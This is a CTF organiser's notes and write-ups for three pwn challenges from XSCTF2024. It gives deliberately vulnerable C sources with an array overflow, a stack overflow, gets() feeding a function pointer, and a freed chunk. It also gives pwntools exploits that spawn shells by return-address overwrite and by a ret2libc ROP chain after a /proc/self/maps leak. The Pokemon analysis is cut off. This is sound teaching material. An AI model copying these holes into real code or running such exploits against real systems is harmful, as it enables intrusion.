0%

XSCTF2024pwn出题笔记&wp

这次出了三道题(一道新生专属难度,两道中等难度)

这次没有出困难题,但是中等题其实也足够困难了。

结合其他师傅的出题,感觉上比较缺少过渡的出题,造成现象旱的旱死,涝的涝死(qy师傅出的不错,也很有意思)

【新生专属】c_master

:::info
题目描述

请使用简单的C语句对程序进行getshell吧!

:::

下面是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void init();
void init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return;
}
void backdoor();
void backdoor()
{
system("/bin/sh");
}

int main()
{
init();
char base[8];
int baseidx=0;
char* string=malloc(1024);
memset(string,0,1024);

puts("Try to write a C getshell program with my code!");
puts("read(0,base,0x8);");
puts("write(1,base,0x8);");
puts("base+=8;");
puts("base-=8;");
puts("return 0;");
while(1){
puts(">>>");
scanf("%128s",string);

if(!strcmp(string,"read(0,base,0x8);")){
puts("input:");
read(0,&base[baseidx],0x8);
}
else if(!strcmp(string,"write(1,base,0x8);")){
puts("output:");
write(1,&base[baseidx],0x8);
}
else if(!strcmp(string,"base+=8;")){
baseidx+=8;
}
else if(!strcmp(string,"base-=8;")){
baseidx-=8;
}
else if(strcmp(string,"return 0;")){
break;
}
else{
puts("No such code...");
}
}
return 0;
}
//gcc xxx.c -no-pie -o xxx

0x1 逆向分析

checksec查看,没开pie保护,elf地址对我们是透明的。

拖进IDA分析,看看main函数干了什么?

首先申请了一个0x400的堆块,然后scanf读取输入写到堆上。

然后调用strcmp比较输入的字符串和目标字符串。

如代码所示,read和write都是针对(base~base+0x7)这一块内存进行读写操作。

所以我们得看看base在哪里,这里的base就是我们的v6[v4]

注意到base+=8是 v4+=8,v4是索引

v6就是base,索引没做限制,这就是数组溢出。

base到ret的距离是v10到return_address的距离 也就是0x10+0x8=0x18,所以只需要让v4移动三次。

栈底是高地址,所以我们得让v4+=8进行三次操作;

此处我们直接覆盖ret返回地址,只要不对canary进行改写,就不会触发canary保护。

如果直接返回backdoor函数有栈平衡问题

只需要跳过push rbp指令即可

0x2 思路总结

通过数组溢出,覆盖ret为backdoor地址(0x4012BB ),但是有栈平衡问题,需要跳过一个push指令,所以覆盖为0x4012C0。

0x3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(log_level="debug")
#p=process("./c_master")
p=remote("43.248.97.213",30219)#019843.248.97.213:
system=0x4012c0
p.sendline("base+=8;")
p.sendline("base+=8;")
p.sendline("base+=8;")
p.sendline("write(1,base,0x8);")
p.sendline("read(0,base,0x8);")
#gdb.attach(p)
p.send(p64(system))
p.sendline("return 0;")

p.interactive()

Wahahabox

题目描述:

0X1 逆向分析

check一下二进制程序,发现没开canary,但是开了pie。

拖进IDA进行逆向

main函数如下

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("If you want to open the box, what do you want to say to Wahaha?");
__isoc99_scanf("%31s", buf);
gift(buf);
puts("Try to open");
read(0, buf, 0x40uLL);
return 0;
}

我们先计算buf到ret的距离,计算得0x20+0x8

所以第一个scanf(“%31s”);我们是无法覆盖ret的,第二个read(0,bu,0x40);能够覆盖ret,但是只能构造一个p64(pop_rdi )+p64 (数据) + p64(返回地址)的ROP链。

然后跟进gift函数,看看能给什么信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssize_t __fastcall gift(const char *a1)
{
_BYTE s[2060]; // [rsp+10h] [rbp-810h] BYREF
int fd; // [rsp+81Ch] [rbp-4h]

if ( strstr(a1, "flag") )
{
puts("It's a secret :)");
exit(-1);
}
fd = open(a1, 0);
if ( fd < 0 )
{
puts("Open box fail :(");
exit(-1);
}
puts("Wahaha left you the keys");
memset(s, 0, 0x800uLL);
read(fd, s, 0x800uLL);
return write(1, s, 0x800uLL);
}

这里open会根据我们字符串去打开一个文件(第二个参数决定以只读形式打开),而且如果我们字符串中有flag这个子字符串(可以去查找strstr函数的功能)就会退出程序。

然后给了很大的栈空间,来读取文件的内容并输出。

其实看到这里了解相关知识点的人就能想到利用/proc/self/maps这个文件去泄露 程序相关的映射地址了。

放出tips:/proc下的文件很有用

其实非常有必要去学习一下这个文件夹。web和pwn其实都有用。

在本地执行,open打开/proc/self/maps终端输出如下,这里要接收libc.so的地址,这里以接收 b’55edda100000-55edda121000 rw-p 00000000 00:00 0 [heap]\n’中的子字符串

“[heap]\n”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    b'55edd95bc000-55edd95bd000 r--p 00000000 08:03 1835165                    /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95bd000-55edd95be000 r-xp 00001000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95be000-55edd95bf000 r--p 00002000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95bf000-55edd95c0000 r--p 00002000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95c0000-55edd95c1000 rw-p 00003000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edda100000-55edda121000 rw-p 00000000 00:00 0 [heap]\n'
b'768d30600000-768d30628000 r--p 00000000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30628000-768d307bd000 r-xp 00028000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d307bd000-768d30815000 r--p 001bd000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30815000-768d30816000 ---p 00215000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30816000-768d3081a000 r--p 00215000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d3081a000-768d3081c000 rw-p 00219000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d3081c000-768d30829000 rw-p 00000000 00:00 0 \n'
b'768d309c5000-768d309c8000 rw-p 00000000 00:00 0 \n'
b'768d309dc000-768d309de000 rw-p 00000000 00:00 0 \n'
b'768d309de000-768d309e0000 r--p 00000000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d309e0000-768d30a0a000 r-xp 00002000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a0a000-768d30a15000 r--p 0002c000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a16000-768d30a18000 r--p 00037000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a18000-768d30a1a000 rTry to open\n'
/home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/m.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("rw-p 00000000 00:00 0 \n")
[*] Switching to interactive mode
768d309c5000-768d309c8000 rw-p 00000000 00:00 0
768d309dc000-768d309de000 rw-p 00000000 00:00 0
768d309de000-768d309e0000 r--p 00000000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d309e0000-768d30a0a000 r-xp 00002000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a0a000-768d30a15000 r--p 0002c000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a16000-768d30a18000 r--p 00037000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a18000-768d30a1a000 rTry to open

不同glibc可能内存分布略有区别,这里用的是2.35的3.8

有了libc地址之后(也可以获得elf地址,stack地址)。就直接栈溢出打system(“/bin/sh”)就行,如果遇到栈平衡问题,此时请把libc中的system地址+27,这样可以直接调用更底层函数do_system。

当然也有其他getshell方法或者ORW。

0X2 思路总结

scanf的输入,要输入/proc/self/maps去泄露libc地址,然后栈溢出当普通ret2libc来做就可以了。

0x3 exp

getshell发现实在根目录,flag在/home/ctf目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level="debug")
p=process('./wahahabox')
#p=remote("43.248.97.213",30057)
gdb.attach(p,"b *$rebase(0x129a)")
p.sendline("/proc/self/maps")#./flag
#p.recvuntil("rw-p 00000000 00:00 0")
p.recvuntil("[heap]\n")
#p.recvuntil("rw-p 00000000 00:00 0 \n")

libc_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("libc_addr",hex(libc_addr))
libcbase=libc_addr
system=libcbase+0x50d70+27
bin_sh=libcbase+ 0x1d8678
pop_rdi=libcbase+0x2a3e5
payload=b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(system)
print("libc_addr",hex(libc_addr))
p.send(payload)
""""""
p.interactive()

Pokemon_master

:::info
宝可梦大师!
你是纪南镇的一名宝可梦新手,你已经达到了可以外出探险的年纪,请外出探险,成为伟大的冒险家吧!传闻外面有很强大的神兽,击败它会获得神器。

TIPS:

1.商店卖的防御剂有惊喜

2.负数溢出

3.选速度最快的精灵

4.貌似有一个hook?

5.覆水亦可收,free掉的堆块还能申请回来

6.申请回特殊堆块可改写hook

:::

源码太长了,单独一桌

基本原理不难,但是逆向难度对于新生来说是有点挑战性的(无论是代码量还是结构体逆向),花点时间知道原理还是能做出来的,更何况放了那么多tips。

游戏题:数组溢出、整数溢出比较多

0x0 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define MAXMAX 9999
#define MINMIN 1

struct pokemon{
char name[16];
unsigned int hp;
unsigned int attack;
unsigned int speed;
unsigned int defence;
};

void init();
void Start_choose(struct pokemon** mypoke);
void Start_print();
void Mainmenu();
void Outmenu();
void Skillmenu();
void Out(struct pokemon** mypoke);
void Store(struct pokemon** mypoke);
void Status(struct pokemon** mypoke);
void Pokemon_name(struct pokemon** mypoke,char* str);
void Pokemon_print(struct pokemon** mypoke);
int Fight(struct pokemon** mypoke,struct pokemon* emerypoke);
int money=0;
int change=0;

size_t *ex1t;


//函数指针 堆
int main()
{
init();
Start_print();

int choice;
char say[32];
struct pokemon* mypoke;
Start_choose(&mypoke);
puts("You open the Starter Pack and get a hundred coins");
money+=100;
printf("gift:%p\n",&puts);
while(1)
{
whilestart:
if(money <0){
puts("No money, you out:(");
break;
}
Mainmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
Store(&mypoke); //STORE
break;
case 2: //OUT
Out(&mypoke);
break;
case 3: //STATUS
Status(&mypoke);
break;
case 4:
/* code */
puts("\nWhat you want to say?");
gets(say);
(*(void(*)(char*))ex1t[0])(say);
break;
case 666:
puts("Why does technology make Pokémon?");
struct pokemon* test;
test=(struct pokemon*)malloc(sizeof(struct pokemon));
read(0,&test->name[0],0x10);
test->hp=1;
test->speed=1;
test->attack=1;
test->defence=1;
puts("It's so weak...");
break;
default:
goto whilestart;
break;
}

//收集数据
//数据处理
//绘制图像
}
return 0;
}

void Outmenu()
{
puts("You walked into the Divine Beast Forest, hoping to meet the Divine Beast QWQ...");
puts("There are two roads in front of you, choose the one on the left or the one on the right.");
puts("1.left");
puts("2.right");
printf(">>>");
}
void Out(struct pokemon** mypoke)
{
int choice=0;
Outmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
struct pokemon *QWQ;
puts("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!");
puts("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~");
QWQ=(struct pokemon*)malloc(sizeof(struct pokemon));
QWQ->hp=MAXMAX;
QWQ->speed=15;
QWQ->defence=MAXMAX;
QWQ->attack=MAXMAX;
Pokemon_name(&QWQ,"QWQ");
if(Fight(mypoke,QWQ)){
puts("The soul of the mythical beast flew away...");
free(ex1t);
}else{
puts("Loser...");
}
free(QWQ);
break;
default:
struct pokemon *TAT;
puts("You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot");
puts("TAT: WTF!");
TAT=(struct pokemon*)malloc(sizeof(struct pokemon));
TAT->hp=MINMIN;
TAT->speed=15;
TAT->defence=MINMIN;
TAT->attack=MINMIN;
Pokemon_name(&TAT,"TAT");
if(Fight(mypoke,TAT)){
puts("Your earn some money~");
money+=200;
}else{
puts("Loser...");
}
free(TAT);
break;

}
}
void Skillmenu()
{
puts("When the battle begins, choose the skill you want to use");
puts("1.Attack 2.Defence");
puts("3.Escape 4.Surrender");
printf(">>>");
}

int Fight(struct pokemon** mypoke,struct pokemon* emerypoke)
{
int myspeed = (*mypoke)->speed;
int emspeed = emerypoke->speed;
int myhp=(*mypoke)->hp;
int emhp=emerypoke->hp;
int faster=0;
while (1)
{
int choice=0;
Skillmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
//速度计算
if(myspeed>emspeed){//我方速度比较快
myspeed -= emerypoke->speed;
faster=1;
}else{
emspeed -= (*mypoke)->speed;
faster=0;
}
//攻击防御计算 //血量计算
if(faster){
emhp = emhp - (((*mypoke)->attack/2)-(emerypoke->defence/3));
}else{
myhp = myhp - ((emerypoke->attack/2)-((*mypoke)->defence/3));
}
myspeed+=(*mypoke)->speed;
emspeed+=emerypoke->speed;

if(myhp <= 0){
puts("Game Over :(");
return 0;
}
else if(emhp <= 0){
puts("Congratulations! You win!");
return 1;
}
break;

case 2:
if(emerypoke->attack > (*mypoke)->defence){
puts("Even if you defend, the other party still kills you in seconds");
return 0;
}else{
puts("The defense succeeded, but nothing happened");
}
break;

case 3:
if(emerypoke->speed > (*mypoke)->speed){
puts("You're not fast enough to escape the fight");
return 0;
}else{
puts("Escape!");
return 0;
}
break;

case 4:
return 0;
break;

default:
break;
}

}

}

void Store(struct pokemon** mypoke)
{
int choice=0;
store_again:
puts("I'm a merchant from GuanDu city, what do you want to buy?");
puts("1.Attack agents");
puts("2.Defensive agents");
puts("3.Poké Ball");
puts("4.EXIT");
printf(">>>");
scanf("%d",&choice);
switch (choice)
{
case 1:
money-=75;
(*mypoke)->attack+=10;
(*mypoke)->defence-=10;
break;
case 2:
money-=75;
(*mypoke)->attack-=10;
(*mypoke)->defence+=10;
break;
case 3:
money-=75;
puts("Are you sure this is not a name change card?");
char* newname=malloc(15);
change++;
//scanf("%15s",newname);
//Pokemon_name(mypoke,newname);
break;
case 4:
break;
default:
goto store_again;
break;
}
puts("You say: f**king Black-hearted businessman");
}
void Status(struct pokemon** mypoke)
{
printf("Your money: %d\n",money);
puts("The status of your Pokémon is as follows");
Pokemon_print(mypoke);
puts("Over~");
return ;
}
void Pokemon_print(struct pokemon** mypoke)
{
printf("Pokemon name:%s\n",&(*mypoke)->name[0]);
printf("Hp:%u\n",(*mypoke)->hp);
printf("AT:%u\n",(*mypoke)->attack);
printf("DE:%u\n",(*mypoke)->defence);
printf("SP:%u\n",(*mypoke)->speed);
return;
}

void Pokemon_name(struct pokemon** mypoke,char* str)
{
for(int i=0;i<15;i++)
{
(*mypoke)->name[i]=str[i];
}
}
void Start_choose(struct pokemon** mypoke)
{
int choice=0;
Start_choose_again:
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");
printf(">>>");
scanf("%d",&choice);
switch (choice)
{
case 1:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=21;
(*mypoke)->speed=16;
(*mypoke)->defence=8;
(*mypoke)->attack=14;
Pokemon_name(mypoke,"Pikapi");
break;
case 2:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=25;
(*mypoke)->speed=12;
(*mypoke)->defence=14;
(*mypoke)->attack=14;
Pokemon_name(mypoke,"Charmander");
break;
case 3:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=31;
(*mypoke)->speed=10;
(*mypoke)->defence=11;
(*mypoke)->attack=10;
Pokemon_name(mypoke,"Bulbasaur");
break;
case 4:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=28;
(*mypoke)->speed=9;
(*mypoke)->defence=20;
(*mypoke)->attack=9;
Pokemon_name(mypoke,"Squirtle");
break;

default:
goto Start_choose_again;
break;
}

}

void Mainmenu()
{
puts("1.Store");
puts("2.Out");
puts("3.Status");
puts("4.exit_the_world");
printf(">>>");
}

void init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
ex1t=(size_t*)malloc(sizeof(struct pokemon));
size_t temp=&exit;
memcpy(ex1t,&temp,8);
return;

}


void Start_print()
{
puts(",-.----. ____ ");
puts("\\ / \\ ,-. ,' , `. ");
puts("| : \\ ,--/ /| ,-+-,.' _ | ");
puts("| | .\\ : ,---. ,--. :/ | ,-+-. ; , || ,---. ,---, ");
puts(". : |: | ' ,'\\ : : ' / ,--.'|' | ;| ' ,'\\ ,-+-. / | ");
puts("| | \\ : / / || ' / ,---. | | ,', | ': / / | ,--.'|' | ");
puts("| : . /. ; ,. :' | : / \\ | | / | | ||. ; ,. :| | ,\"' | ");
puts("; | |`-' ' | |: :| | \\ / / |' | : | : |,' | |: :| | / | | ");
puts("| | ; ' | .; :' : |. \\ . ' / |; . | ; |--' ' | .; :| | | | | ");
puts(": ' | | : || | ' \\ \' ; /|| : | | , | : || | | |/ ");
puts(": : : \\ \\ / ' : |--' ' | / || : ' |/ \\ \\ / | | |--' ");
puts("| | : `----' ; |,' | : |; | |`-' `----' | |/ ");
puts("`---'.| '--' \\ \\ / | ;/ '---' ");
puts(" `---` `----' '---' ");
puts("Welcome to my Pokémon World, where you are now in the small town of Kinan, where people and elves get along in harmony! Hey! Your dream is to collect the world's most famous mythical QWQ, come on adventurers, and embark on your adventure!");

}

0x1 逆向

checksec查看保护,全保护,将就着看吧。

拖进ida分析,此时要先看init函数,因为里面可能藏了点东西,ex1t是一个指针,分配了一个chunk给它。

然后给堆上内存赋值exit的地址。

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 init()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
ex1t = malloc(0x20uLL);
*(_QWORD *)ex1t = &exit;
return v1 - __readfsqword(0x28u);
}

来到main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-44h] BYREF
_BYTE v5[8]; // [rsp+10h] [rbp-40h] BYREF
void *buf; // [rsp+18h] [rbp-38h]
_BYTE v7[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
init(argc, argv, envp);
Start_print();
Start_choose(v5);
puts("You open the Starter Pack and get a hundred coins");
money += 100;
printf("gift:%p\n", &puts);
while ( money >= 0 )
{
Mainmenu();
__isoc99_scanf("%d", &v4);
if ( v4 == 666 )
{
puts(aWhyDoesTechnol);
buf = malloc(0x20uLL);
read(0, buf, 0x10uLL);
*((_DWORD *)buf + 4) = 1;
*((_DWORD *)buf + 6) = 1;
*((_DWORD *)buf + 5) = 1;
*((_DWORD *)buf + 7) = 1;
puts("It's so weak...");
}
else if ( v4 <= 666 )
{
if ( v4 == 4 )
{
puts("\nWhat you want to say?");
gets(v7);
(*(void (__fastcall **)(_BYTE *))ex1t)(v7);
}
else if ( v4 <= 4 )
{
switch ( v4 )
{
case 3:
Status(v5);
break;
case 1:
Store(v5);
break;
case 2:
Out(v5);
break;
}
}
}
}
puts("No money, you out:(");
return 0;
}

有个菜单,开局还送libc地址,这怎么输?

但是首先会先让你选精灵,money+=100,之后,就可以根据菜单去做题了。

1
2
3
4
5
6
7
8
int Mainmenu()
{
puts("1.Store");
puts("2.Out");
puts("3.Status");
puts("4.exit_the_world");
return printf(">>>");
}

Start_choose函数

开局选精灵

1
2
3
4
5
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");

这里不急,我们往下面分配内存的代码看。

无论选什么都会分配0x20(实际上是0x20+0x10,具体请看ctfwiki堆概况章节)的堆块,这里我们并不知道每一个的意思,但是猜出这是一个结构体,和精灵有关,最有可能想到的是精灵的属性,想不到也不用管。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
unsigned __int64 __fastcall Start_choose(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = 0;
while ( 1 )
{
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");
printf(">>>");
__isoc99_scanf("%d", &v2);
if ( v2 == 4 )
break;
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 31;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 10;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 11;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 10;
Pokemon_name(a1, "Bulbasaur");
return v3 - __readfsqword(0x28u);
case 1:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 21;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 16;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 8;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 14;
Pokemon_name(a1, "Pikapi");
return v3 - __readfsqword(0x28u);
case 2:
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 25;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 12;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 14;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 14;
Pokemon_name(a1, "Charmander");
return v3 - __readfsqword(0x28u);
}
}
}
*(_QWORD *)a1 = malloc(0x20uLL);
*(_DWORD *)(*(_QWORD *)a1 + 16LL) = 28;
*(_DWORD *)(*(_QWORD *)a1 + 24LL) = 9;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) = 20;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) = 9;
Pokemon_name(a1, "Squirtle");
return v3 - __readfsqword(0x28u);
}

case1 :Store

是一个商店,卖攻击药剂和防御药剂还有精灵球,买精灵球会有change++,猜测是改名机会。

防御剂是攻击下降,防御上升。攻击剂是攻击上升,防御下降。

攻击是a1+20

防御是a1+28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall Store(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
void *v3; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0;
while ( 1 )
{
puts("I'm a merchant from GuanDu city, what do you want to buy?");
puts("1.Attack agents");
puts("2.Defensive agents");
puts(a3Pok);
puts("4.EXIT");
printf(">>>");
__isoc99_scanf("%d", &v2);
if ( v2 == 4 )
break;
if ( v2 <= 4 )
{
switch ( v2 )
{
case 3:
money -= 75;
puts("Are you sure this is not a name change card?");
v3 = malloc(0xFuLL);
++change;
goto LABEL_11;
case 1:
money -= 75;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) += 10;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) -= 10;
goto LABEL_11;
case 2:
money -= 75;
*(_DWORD *)(*(_QWORD *)a1 + 20LL) -= 10;
*(_DWORD *)(*(_QWORD *)a1 + 28LL) += 10;
goto LABEL_11;
}
}
}
LABEL_11:
puts("You say: f**king Black-hearted businessman");
return v4 - __readfsqword(0x28u);
}

case 2 : out

外出函数,分析下来就是左转遇到小精灵能够赚钱,右转遇到神兽,打赢了就会free掉一个(ex1t所在的)chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
unsigned __int64 __fastcall Out(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h] BYREF
void *ptr; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0;
Outmenu();
__isoc99_scanf("%d", &v2);
if ( v2 != 1 )
{
puts(
"You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot");
puts("TAT: WTF!");
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 1;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 1;
*((_DWORD *)ptr + 5) = 1;
Pokemon_name(&ptr, "TAT");
if ( (unsigned int)Fight(a1, ptr) )
{
puts("Your earn some money~");
money += 200;
goto LABEL_8;
}
LABEL_7:
puts("Loser...");
goto LABEL_8;
}
puts("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!");
puts("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~");
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 9999;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 9999;
*((_DWORD *)ptr + 5) = 9999;
Pokemon_name(&ptr, "QWQ");
if ( !(unsigned int)Fight(a1, ptr) )
goto LABEL_7;
puts("The soul of the mythical beast flew away...");
free(ex1t);
LABEL_8:
free(ptr);
return v4 - __readfsqword(0x28u);
}

这里用到了Fight函数让两个精灵进行决斗。

Fight函数里面选攻击就好了(就不逆向了,都是一些实现蘸豆的逻辑),但是你要速度快并且一刀能打死QWQ。

case 3 : Status

对当前状况进行查看

1
2
3
4
5
6
7
int __fastcall Status(__int64 a1)
{
printf("Your money: %d\n", money);
puts(aTheStatusOfYou);
Pokemon_print(a1);
return puts("Over~");
}

case 4 : ex1t

使用了函数指针执行退出函数,并且能够控制第一个参数

1
2
3
4
5
6
if ( v4 == 4 )
{
puts("\nWhat you want to say?");
gets(v7);
(*(void (__fastcall **)(_BYTE *))ex1t)(v7);
}

case 666 : gift

会分配一个0x20大小的堆,并且能够改写一部分内存。

1
2
3
4
5
6
7
8
9
10
11
if ( v4 == 666 )
{
puts(aWhyDoesTechnol);
buf = malloc(0x20uLL);
read(0, buf, 0x10uLL);
*((_DWORD *)buf + 4) = 1;
*((_DWORD *)buf + 6) = 1;
*((_DWORD *)buf + 5) = 1;
*((_DWORD *)buf + 7) = 1;
puts("It's so weak...");
}

0x2 思路

开局给了libc地址,这怎么输?

1
2
3
4
5
6
ptr = malloc(0x20uLL);
*((_DWORD *)ptr + 4) = 9999;
*((_DWORD *)ptr + 6) = 15;
*((_DWORD *)ptr + 7) = 9999;
*((_DWORD *)ptr + 5) = 9999;
